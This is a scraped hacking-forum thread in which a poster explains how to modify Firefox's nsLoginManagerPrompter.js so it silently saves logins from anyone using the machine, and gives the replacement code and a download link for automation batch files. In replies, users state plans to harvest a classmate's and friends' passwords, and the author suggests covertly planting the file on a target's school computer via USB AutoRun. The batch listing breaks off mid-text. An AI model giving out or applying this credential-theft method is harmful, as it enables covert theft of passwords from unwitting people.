

Forum:[Hack Forums](#)

Thread: [\[TuT\] Turning Firef0x into Keylogger \[TuT\]](#)

orionstar - December 12, 2010, 7:22 pm

Auto Bypass Save Password Confirmation

This is a short guide explaining how to use Firef0x as a keylogger of sorts. Here is an example: Someone else is using your computer and signs into their Facebook but always tells Firef0x "Do not remember for this site" or "Never remember" in those cases Firef0x will not save this login info. It is commonly accepted that there is no way to bypass this 'confirmation' until now.

This is tested with Firef0x version three.six.twelve and three.six.thirteen and working.

Step 1: Get your hands on [Notepad++](#)

Step 2: Locate the file "nsLoginManagerPrompter.js" which is usually located in C:\Program Files\Mozilla Firef0x\components\

Step 3: Remember make a backup copy of this file elsewhere first to revert to normal if you ever wish to.

Step 4: Open nsLoginManagerPrompter.js with Notepad++ (because this program separates each line with a number and this will be important later)

Step 5: For these particular versions of Firef0x the code you want will be found between lines 804 to 869. If you use a different version, they may be elsewhere. All the code between these lines can be erased and simply replaced with:

```
Code var pwmgr = this._pwmgr;  
pwmgr.addLogin(aLogin);
```

You will see its very straightforward once your eyes look at the code through Notepad++ once you replace this code make sure Firef0x is closed completely and then save this file. Restart Firef0x and go somewhere like Yahoo and try to sign into the site using a bogus name and pass. Firef0x should not ask what to do with the login details, it should automatically save it silently. To check this, go to Tools > Options [Security Tab] > Saved Passwords. Your bogus credentials should be listed here.

The only thing to stop you is if a master password is used to control displaying all saved passwords.

EDIT: I have included a zip file which contains a readme, a custom CMD program that attempts to bypass normal CMD restrictions (not necessary unless you run in a restricted environment), and 2 batch files that automate the cracking procedure which will backup and replace the exploited .js file within your firef0x directory. The link is below:

<http://www.mediafire.com/?y5ckgk3rum88h2j>

As with any batch files, right click and choose EDIT to see what it does exactly before running it. I welcome anyone to scan these files again with any website you choose.

Novirusthanks Results:

Spoiler ([Click to View](#))File Info

Report date: 2010-12-15 01:10:25 (GMT 1)

File name: ffhack-zip

File size: 403484 bytes

MD5 Hash: 52c445d3aff032bc25168e834a2cab8f

SHA1 Hash: dda6c989541de8f8253ac173b37921c977186c01

Detection rate: 0 on 16 (0%)

Status: CLEAN

Detections

a-squared -

Avast -

AVG -

Avira AntiVir -

BitDefender -

ClamAV -

Comodo -

Dr.Web -

F-PROT6 -

Ikarus T3 -

Kaspersky -

NOD32 -

Panda -

TrendMicro -

VBA32 -

VirusBuster -

Scan report generated by

NoVirusThanks.org

VirusTotal Link:

[Here](#)

iDuL - December 12, 2010, 7:23 pm

Thanks man! Very good tutorial!

orionstar - December 12, 2010, 11:24 pm

Thanx hope it is useful to some extent, enjoy

monkey d. dragon - December 13, 2010, 2:00 am

Just what i was looking for. Thanks!!

Mag1c-Pot - December 13, 2010, 10:48 am

Shit bro, you are a life saver. I've been bugging myself to catch a particular target at school and it doesn't seem to work. I've tried installing keyloggers and RATs but they fail because of the restrictions. I just need 1 password and I don't wanna leave any traces. If this really works, it shouldn't be hard to get it with a few SE. This is perfect man, god bless you. ;)

orionstar - December 13, 2010, 11:09 am

Thank you 8) In your case, one possibility to consider would be to install Firef0x on your machine

and edit this file locally. Test it to ensure its functionality, then simply copy this file to a USB stick or CD and bring it with you to the targets computer. See if it would be possible to copy this file into Firef0x's 'components' folder, replacing the current one. I'm uncertain how far reaching the restrictions of that machine are, but perhaps there are ways of creating a CMD window with administer privileges and using a copy command.

I have considered creating a batch file to automate the process. Possibly creating an AutoRun with a USB stick so the whole task could be completed in less than 3 seconds.

Em re - December 13, 2010, 11:46 am

Thanks so much mate needed this.

Thanks.

Joeee - December 13, 2010, 12:36 pm

I put a RAT on the school server it disabled everything and, now they banned USB's and CD's in school haha.

- Joe

Linear - December 13, 2010, 2:11 pm

Thanks for this, I'm a begginer and i understood it

Uncle Pillow - December 13, 2010, 2:43 pm

Very nice, the only problem with this is now they will fix it :(

Hackbo0k™ - December 13, 2010, 2:49 pm

Amazing tut, thanks so much ?

Forgotten - December 13, 2010, 3:03 pm

Thanks for the awesome tutorial i can't wait to start getting my friends passes.

iPhr34k - December 13, 2010, 5:09 pm

Good tutorial, but the only way it will work is if you leave the browser history enabled. And the persons login info will always be displayed on that website, which could throw up a red flag. Just throwing it out there. But this does work :)

orionstar - December 13, 2010, 5:18 pm

Thanx for the update iPhr34k it's much appreciated. I was unaware of that variable. Upon further investigation it may also be possible to select "Use Custom Settings for History" and tick "Remember Search and Form History" ON. I believe that is the key attribute to auto saving the pass information although I haven't tested it yet.

Sezmic - December 13, 2010, 5:20 pm

Very detailed and useful tutorial, well done.

monkey d. dragon - December 14, 2010, 12:14 am

Hi, i may sound like an idiot but it was not able to do this, after all, i am just a beginner lol, I did not knew how to replace the codes that you posted. you said that i had to change lines between 804 to 869 and i tried to set it up but it was very confusing. I hope you can help me please.

nickjonnes - December 14, 2010, 2:05 am

dude post in the right forum
love the tut though

cheers nick

zoozoo243 - December 14, 2010, 3:05 am
awesome tutorial dude...you rock!!!!

Mag1c-Pot - December 14, 2010, 4:34 am

(Dec 13, 2010 12:09 PM)orionstar Wrote: [\[CITE\]](#) Thank you 8) In your case, one possibility to consider would be to install Firef0x on your machine and edit this file locally. Test it to ensure its functionality, then simply copy this file to a USB stick or CD and bring it with you to the targets computer. See if it would be possible to copy this file into Firef0x's 'components' folder, replacing the current one. I'm uncertain how far reaching the restrictions of that machine are, but perhaps there are ways of creating a CMD window with administer privileges and using a copy command.

I have considered creating a batch file to automate the process. Possibly creating an AutoRun with a USB stick so the whole task could be completed in less than 3 seconds. Thanks bro, that's exactly what I was planning to do but I can't seem to get it to work on my own computer. I've tried what that other guy said and enabled remember history but it still doesn't seem to work. Perhaps you could add some photos to your tutorial or even upload a "cracked" nsLoginManagerPrompter.js when you have some time?

ty <3 ?

maximusdesmuspuritius - December 14, 2010, 8:44 am
thanks.
it helped me a lot.!!

orionstar - December 14, 2010, 10:32 am

(Dec 14, 2010 05:34 AM)oh yes Wrote: [\[CITE\]](#) Thanks bro, that's exactly what I was planning to do but I can't seem to get it to work on my own computer. I've tried what that other guy said and enabled remember history but it still doesn't seem to work. Perhaps you could add some photos to your tutorial or even upload a "cracked" nsLoginManagerPrompter.js when you have some time?

ty <3 ?

PM'd you my custom batch automated process. It backs up existing file and replaces with the modified version. Hope this helps you, remember the beta 4.0 firefox probably wont work if thats what your using

Mag1c-Pot - December 14, 2010, 2:57 pm

(Dec 14, 2010 11:32 AM)orionstar Wrote: [\[CITE\]](#) PM'd you my custom batch automated process. It backs up existing file and replaces with the modified version. Hope this helps you, remember the beta 4.0 firefox probably wont work if thats what your using Yeah. Thanks for that... Too bad the files you sent me were infected. You had my respect and gratitude for this thread and then you try to infect me? lol... kinda sad really. Sad that you never know who you can trust in these forums.

orionstar - December 14, 2010, 3:06 pm

They are not infected, the batch files were converted to EXEs to hide my source code. The executables are 9KB in size. If you want the source code to my batch files here it is:

```
Code @echo off
echo *** oRioN StaR's Firefox AutoSave Password Hack ***
echo This is for 32-bit systems ONLY.
echo.
echo _ _ _ _ _
```


Very nice tut for beginners

gooddevil - December 15, 2010, 6:09 am

Supercool Info.. :) Friends here i comee!!!! :)

adampelletgun - December 15, 2010, 6:17 am

Should have put this in hacking tutorials :)

Looks interesting :)

adampelletgun - December 15, 2010, 6:17 am

Should have put this in hacking tutorials :)

Looks interesting :)

The Hactivist - December 15, 2010, 6:20 am

Thanks for this good tutorial im going to try it!

The Hactivist ?

lord_ezzat - December 15, 2010, 6:25 am

thanks it was very useful....

inever_exist - December 15, 2010, 6:31 am

very nice tutorial , any positive feedback??

synnergy - December 15, 2010, 6:43 am

really nice. Thank you for this.

PROGHACKER - March 7, 2014, 2:21 am

Thanks a lot buddy got an awesome idea by your tutorial will design a good keylogger by your method`s advancement. :-)

Brule - March 7, 2014, 5:12 am

Nice guide, should be useful for someone. ?